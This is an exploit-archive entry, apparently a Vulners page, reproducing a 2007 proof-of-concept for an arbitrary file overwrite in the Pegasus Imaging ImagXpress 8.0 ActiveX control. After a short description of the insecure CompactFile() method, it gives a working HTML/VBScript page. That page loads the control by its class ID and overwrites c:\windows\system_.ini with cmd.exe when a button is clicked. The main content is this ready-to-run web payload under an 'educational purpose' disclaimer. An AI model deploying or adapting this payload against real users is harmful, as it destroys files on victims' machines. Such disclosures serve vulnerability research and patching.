Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite

🗓️ 06 Oct 2007 00:00:00Reported by RootType

Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrit


                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;&lt;body&nbsp;bgcolor=&quot;#E0E0E0&quot;&gt;-----------------------------------------------------------------------------
&nbsp;&lt;b&gt;Pegasus&nbsp;Imaging&nbsp;ImagXpress&nbsp;8.0&nbsp;Remote&nbsp;Arbitrary&nbsp;File&nbsp;Overwrite&lt;/b&gt;
&nbsp;url:&nbsp;http://www.pegasusimaging.com/

&nbsp;Author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org

&nbsp;&lt;b&gt;&lt;font&nbsp;color='red'&gt;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.&lt;/font&gt;&lt;/b&gt;

&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7

&nbsp;&lt;b&gt;Description:
&nbsp;Component&nbsp;name:&nbsp;PegasusImaging.ActiveX.ImagXpress8.dll
&nbsp;Vesrion:&nbsp;8.0.41.0
&nbsp;This&nbsp;component&nbsp;contains&nbsp;an&nbsp;insecure&nbsp;&quot;CompactFile()&quot;&nbsp;which&nbsp;overwrites
&nbsp;arbitrary&nbsp;files&nbsp;on&nbsp;user's&nbsp;pc.
&nbsp;Passing&nbsp;to&nbsp;the&nbsp;first&nbsp;parameter&nbsp;(sourceFile)&nbsp;of&nbsp;the&nbsp;method&nbsp;an&nbsp;existing
&nbsp;file&nbsp;as&nbsp;argument&nbsp;(e.g.&nbsp;a&nbsp;well&nbsp;known&nbsp;file&nbsp;as&nbsp;cmd.exe),&nbsp;the&nbsp;file&nbsp;passed
&nbsp;as&nbsp;argument&nbsp;to&nbsp;the&nbsp;second&nbsp;parameter&nbsp;(destFile)&nbsp;will&nbsp;be&nbsp;overwrite.&lt;/b&gt;
-----------------------------------------------------------------------------
&lt;object&nbsp;classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07'&nbsp;id='test'&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value='Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test'&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;&nbsp;Sub&nbsp;tryMe
&nbsp;&nbsp;&nbsp;test.CompactFile&nbsp;&quot;c:\windows\system32\cmd.exe&quot;,&nbsp;&quot;c:\windows\system_.ini&quot;
&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&quot;Exploit&nbsp;completed.&quot;
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

06 Oct 2007 00:00Current

7.1High risk

Vulners AI Score7.1